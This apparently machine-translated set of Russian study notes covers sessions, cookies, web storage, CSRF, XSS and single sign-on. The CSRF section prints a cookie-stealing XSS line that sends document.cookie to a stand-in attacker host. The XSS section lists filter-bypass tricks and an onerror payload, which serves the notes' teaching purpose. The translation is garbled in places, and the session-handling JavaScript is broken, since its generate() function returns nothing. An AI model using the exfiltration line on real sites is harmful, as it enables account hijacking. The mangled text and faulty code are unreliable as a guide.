github
адрес:кликните сюда
session
концепция
- Относится к классу решений, используемых для поддержания состояния между клиентом и сервером.
- Структура хранения этого решения
Функции
-
так как
Session
Он хранится на стороне сервера в виде текстового файла, поэтому клиент не боится модифицировать содержимое сеанса. (Вы также можете использовать другие методы хранения, такие какredis
) -
Session
Объекты имеют жизненный цикл -
Session
Экземпляр облегченный, так называемый облегченный: это означает, что его создание и удаление не потребляют слишком много ресурсов -
Session
Внутри объекта есть кеш
использование
Session
Объект хранит свойства и информацию о конфигурации, необходимые для конкретного сеанса пользователя, вweb
Информация не будет потеряна при переходе страницы
Обычно используется для следующих операций
- Хранить информацию, которая поддерживает состояние пользователя на протяжении всего сеанса, например информацию для входа или другую информацию, сгенерированную, когда пользователь просматривает
- хранение должно быть толькоперезагрузка страницыпроцесс илиНабор страниц функцийобъекты, которые поддерживают состояние между
- Держитеинформация о состоянииПредоставляет доступ к странице с любого устройства в любое время.
ограничение
- Чем больше пользователей входит в систему,
session
Требуется больше памяти - каждый
Session
Продолжительность объекта — это время доступа пользователя плюс время бездействия.
зачем нужноsession
Сам протокол HTTP не имеет состояния
Вот пример употребления кофе:
1. Продавец магазина очень силен и может помнить количество потребления каждого клиента.Как только покупатель войдет в кофейню, продавец будет знать, как с ним обращаться. Эта практика заключается в том, что сам протокол поддерживает состояние.
2. Покупателю выдается карта, в которой фиксируется количество потребления и обычно имеет срок годности. Каждый раз, когда клиент совершает покупку, если клиент предъявляет карту, покупка связывается с предыдущей или будущей покупкой. Эта практика заключается в поддержании состояния на стороне клиента.
3. Выдайте покупателю членскую карту, и никакая информация не записывается, кроме номера карты.Каждый раз, когда покупатель совершает покупку, если покупатель предъявляет карту, продавец найдет запись, соответствующую номеру карты, в записи магазина. забронируйте и добавьте информацию о потреблении. . Эта практика заключается в поддержании состояния на стороне сервера.
конкретный механизм
-
Когда программе нужно создать запрос для клиента
session
Когда сервер сначала проверяет, содержит ли уже запрос клиентаидентификатор сессии- называетсяsession id
, если он уже содержитsession id
Это означает, что для этого клиента ранее была создана сессия, и сервер будет следоватьsession id
возьми этоsession
Получить его для использования (если он не может быть получен, он может создать новый), если запрос клиента не содержитsession id
, создатьsession
и создатьsession
связанныйsession id
,session id
Значение должно бытьСтрока, которую невозможно повторить или легко найти шаблоны для имитации.,этоsession id
Будет возвращен клиенту в этом ответе для сохранения. -
так как
cookie
может быть искусственно запрещено, должны быть другие механизмы дляcookie
Можно еще поставитьsession id
передан обратно на сервер. Метод, который часто используется, называетсяURL
переписатьДве формы:
// 作为url附加路径 'http://..../xxx;jsessionid=abcdefjijeoijoifjioe' // 作为查询字符串 'http://..../xxx?jsessionid=abcdefjijeoijoifjioe'
-
старая технология,сформировать скрытые поля, этот метод полезен для предотвращения csrf
выполнить
Сопоставление пользователей и данных на основе файлов cookie
введите пароль вcookie
, как только Чу Ан полюбит пароль, связь сопоставления будет потеряна. как правилоsession
Срок действия обычно короткий, и данные будут удалены, когда он истечет.
После того, как сервер проверит запрос пользователяcookie
не внесенsession_id
, он генерирует для него уникальное и неповторяющееся значение и устанавливает тайм-аут. Если он истекает, сгенерируйте заново, если нет, обновите тайм-аут
var sessions = {};
var key = 'session_id';
var EXPIRES = 20*60*1000;
var generate = function () {
var session = {};
session.id = (new Date().getTime()) + Math.random();
session.cookie = {
expire: (new Date()).getTime() + EXPIRES
}
sessions[session.id] = session
}
function (req, res) {
var id = req.cookies[key];
if (!id) {
req.session = generate();
} else {
var session = sessions[id];
if (session) {
if (session.cookie.expire > new Date().getTime()) {
session.cookie.expire = new Date().getTime() + EXPIRES;
req.session = session;
} else {
delete sessions[id];
req.session = generate();
}
} else {
req.session = generate();
}
}
}
Компактный подход
Так как закрытие браузера не вызываетsession
удаляется, заставляя серверseesion
Устанавливается время истечения срока действия, когда клиент использовался в последний разsession
Когда время превышает это время истечения, сервер может считать, что клиент прекратил деятельность, иsession
Удалить, чтобы освободить место для хранения
reference
http://justsee.iteye.com/blog/1570652
https://baike.baidu.com/item/session/479100?fr=aladdin
https://blog.csdn.net/hjc1984117/article/details/53995816
cookie
Данные, хранящиеся в локальном терминале пользователя
http
Запросы отправляются автоматически, кроме как между доменами
использовать
Клиент записывает информацию о пользователе
Функции
хранится на жестком дискеcookie
Может совместно использоваться различными процессами браузера, например двумяIE
окно. И за сохраненное в памятиcookie
, разные браузеры имеют разные методы обработки.
Атрибуты
-
name
:cookie
название -
value
:cookie
ценность -
domain
: может получить доступcookie
Доменное имя определенного уровня доменного имени может получить доступ к файлу cookie доменного имени верхнего уровня. -
expires/Max-Age
:Дата истечения срока годности -
Size
:cookie
размер -
http
:httponly
собственность, дляtrue
,Не работаетdocument.cookie
получить -
secure
:заtrue
только вhttps
получить -
path
: дочерний путь для доступа к родительскому путиcookie
создать файл cookie
document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 GMT; path=/";
читать куки
document.cookie
Изменить файлы cookie
document.cookie =
в виде накладки
удалить куки
Установите время истечения в прошедшее время
иlocalStorage
иsessionStorage
разница
-
размер хранилища
-
cookie
Размер данных не может превышать 4k. -
sessionStorage
иlocalStorage
Хотя существуют также ограничения по размеру хранилища, болееcookie
Гораздо больше, может достигать 5 м и более.
-
-
Эффективное время
-
localStorage
Храните постоянные данные, данные не будут потеряны после закрытия браузера, если данные не будут активно удалены; -
sessionStorage
Данные автоматически удаляются после закрытия текущего окна браузера. -
cookie
наборcookie
Действителен до истечения срока действия, даже если окно или браузер закрыты
-
-
sessionStorage
- хранилище на уровне сеанса
- Временно, страница открыта да, страница закрыта нет
- Данные не передаются
- Выпрыгнуть со страницы через тег a, затем
sessionStorage
общий
-
localStorage
- постоянное локальное хранилище
- постоянное хранение
- не междоменный
- обмен данными
-
cookie
-
cookie
гомологичен и соответствуетpath
Правила распределяются между документами -
max-age
установить в секундахcookie
продолжительность жизни. - если
max-age
равно 0, это означает удалениеcookie
. - если
max-age
отрицательно, это означает, чтоcookie
Он действителен только в этом окне браузера и подокнах, открытых этим окном, и файл cookie становится недействительным после закрытия окна.
-
как получитьcookie
Есть два http-заголовка, которые конкретно отвечают за настройку и отправкуcookie
, они естьSet-Cookie
а такжеCookie
. Когда сервер возвращает ответное http-сообщение клиенту, если оно содержитSet-Cookie
Когда этот заголовок используется, это означает указание клиенту создатьcookie
, и автоматически отправлять это при последующих HTTP-запросахcookie
на стороне сервера, пока этоcookie
Истекший. еслиcookie
time-to-live — это весь сеанс, тогда браузерcookie
Хранится в памяти, автоматически очищается при закрытии браузераcookie
. В другом случае он сохраняется на жестком диске клиента, если браузер закрыт,cookie
Он не будет очищен. В следующий раз, когда вы откроете браузер для посещения соответствующего веб-сайта, этотcookie
Он будет автоматически отправлен на сервер снова.
cookie
серверная запись
//java的写法
response.setHeader("SET-COOKIE", key + "="+ value + ";Path=/;domain="+ domain + ";date="+date);
//php 中的写法
setcookie(name,value,expire,path,domain,secure)
reference
https://my.oschina.net/ososchina/blog/339918
https://blog.csdn.net/dong123dddd/article/details/50388656
csrf (подделка межсайтовых запросов)
процесс
- Пользователь c открывает браузер и авторизуется на веб-сайте a.
- После успешного входа запишите данные для входа
cookie
- на вебсайте
a
Откройте сайт, не выходя из системыb
- Веб-сайт
b
Возвращает оскорбительный код после запроса пользователя на получение веб-сайтаa
изcookie
, и сделайте запрос на веб-сайт (примечание: здесь два шага) - Веб-сайт
a
Ошибочно подумал, что это запрос от пользователя c
украсть печенье
Вставить абзац на страницу сервера жертвыjavascript
Код (атака межсайтового скриптинга через xss)
document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;
защита
- проверять
http referer
поле - Добавьте токен к адресу запроса
Разработчики системы могутHTTP
В запрос добавляется случайно сгенерированный параметр в виде параметраtoken
, и создайте перехватчик на стороне сервера, чтобы проверить этоtoken
, если запрос неtoken
илиtoken
Если содержание неверно, считается, что оно может бытьCSRF
атаковать и отклонить запрос.
- существует
HTTP
Пользовательские свойства в шапке и валидации (не будут просочены)
reference
http://www.freebuf.com/articles/web/11840.html
xss (межсайтовый скриптинг)
Классификация
- Отражающий (непостоянный)
Те уязвимости межсайтового скриптинга, которые браузеры должны отправлять вредоносные данные в параметрах каждый раз, когда они срабатывают.
Может сделать перенаправление доменного имени на вредоносныйURL
, отправьте это доменное имя пользователю
- хранилище (постоянное)
Относится к отправке вредоносных данных в хранилище (таких как базы данных, текстовые файлы и т. д.),Web
Когда приложение выводит, это тип уязвимости межсайтового скриптинга, который считывает вредоносные данные из памяти и выводит их на страницу.
Общие методы атаки
- обходить
xss-filter
- использовать
img
- пробел, возврат каретки,
tab
обойти фильтрацию - Используйте такие события, как:
<img src=“#” onerror= “alert(1)”/>
- css кросс-сайт:
background-url
- использовать кодировку символов
защита
-
xss-filter
, теги фильтра 2.httpOnly
- При выводе переменных на страницу кодировать
reference
http://www.cnblogs.com/wqhwe/p/5416976.html
единый вход в систему
http
протокол без сохранения состояния
Каждый раз, когда браузер запрашивает, сервер обрабатывает его отдельно
Чтобы идентифицировать запросы браузера и поскольку http является протоколом без сохранения состояния, сервер и браузер должны поддерживать состояние вместе.
механизм сеанса
Когда браузер запрашивает сервер в первый раз, идентификатор сеанса создается и сохраняется браузером, он будет браться при каждом последующем запросе, и после его получения сервер может определить, тот ли это пользователь.
Использование одной системыcookie
Статус входа
При первом обращении браузера к серверу ему необходимо проверить имя пользователя и пароль, при сравнении с базой данных проверка проходит и помечает сессию как «авторизованную».
Проверяйте статус входа при каждом последующем запросе
Единый вход (мультисистемный вход,single sign on
,sso
)
Пользователи могут войти и выйти из системы один раз, и эффект может быть получен в нескольких системах.
Из-за разных доменов нескольких систем все файлы cookie будут ограничены, и браузер отправляетhttp
Запрос будет автоматически содержать соответствующий доменcookie
, не всеcookie
еслиdomain
Установка его в качестве домена верхнего уровня имеет ограничения:
- Имена доменов системных групп должны быть унифицированы
- Технология, используемая каждой системой, должна быть одинаковой.
-
cookie
небезопасный
Авторизоваться
По сравнению с единым входом в систему,sso
При наличии дополнительного центра аутентификации только центр аутентификации принимает информацию о безопасности, такую как имена пользователей и пароли. Другие системы не предоставляют вход в систему и принимают только непрямую авторизацию из центра аутентификации. Косвенная авторизация достигается с помощью токенов,sso
Нет проблем с тем, что центр аутентификации проверяет имя пользователя и пароль пользователя и создает токен авторизации.В процессе следующего перехода токен авторизации отправляется в качестве параметра каждой подсистеме, и подсистема получает токен, т. е. авторизован и может заимствовать его.Это создает частичный сеанс, а метод частичного входа в сеанс такой же, как и для одиночной системы. Этот процесс, являющийся принципом единого входа, показан на следующем рисунке.
После успешного входа пользователя в систему будет установлен сеанс с центром аутентификации SSO и каждой подсистемой. Сеанс, установленный между пользователем и центром аутентификации SSO, называется глобальным сеансом, а сеанс, установленный пользователем и каждой подсистемой, называется локальный сеанс. После того, как локальный сеанс установлен, пользователь получает доступ к защищенным ресурсам подсистемы, больше не будет передавать центр сертификации sso
выйти
конкретный прыжок
Предположим, что URL-адреса центра сертификации и системы 2:sso.com、system2.com
,доступsystem2.com
Перейти, потому что вы не вошли в системуsso.com
, адрес перехода:http://sso.com?service=http://system2.com
(дополнительная информация не требуется), в этот момент он становится браузером иhttp://sso.com
Сессия между сайтами, эта сессия помечена как зарегистрированная из-за входа в систему 1, поэтому центр аутентификации берет токен, возвращает обратно в соответствии с параметром службы и прикрепляет токен к адресу возврата:http://system2.com?token=token
Как проверить данные для входа
-
между разными доменами
- После входа в систему вы должны перейти к другим системам и установить файлы cookie.
- Nodejs реализует прыжок 302
-
Разные сайты с одним доменным именем
- общий
cookie
- общий
-
Тот же домен, разные поддомены
- хранить
sessionId
Все домены верхнего уровня
- хранить
reference
https://www.cnblogs.com/wxj-106/p/8097880.html
http://www.cnblogs.com/ywlaker/p/6113927.html#!comments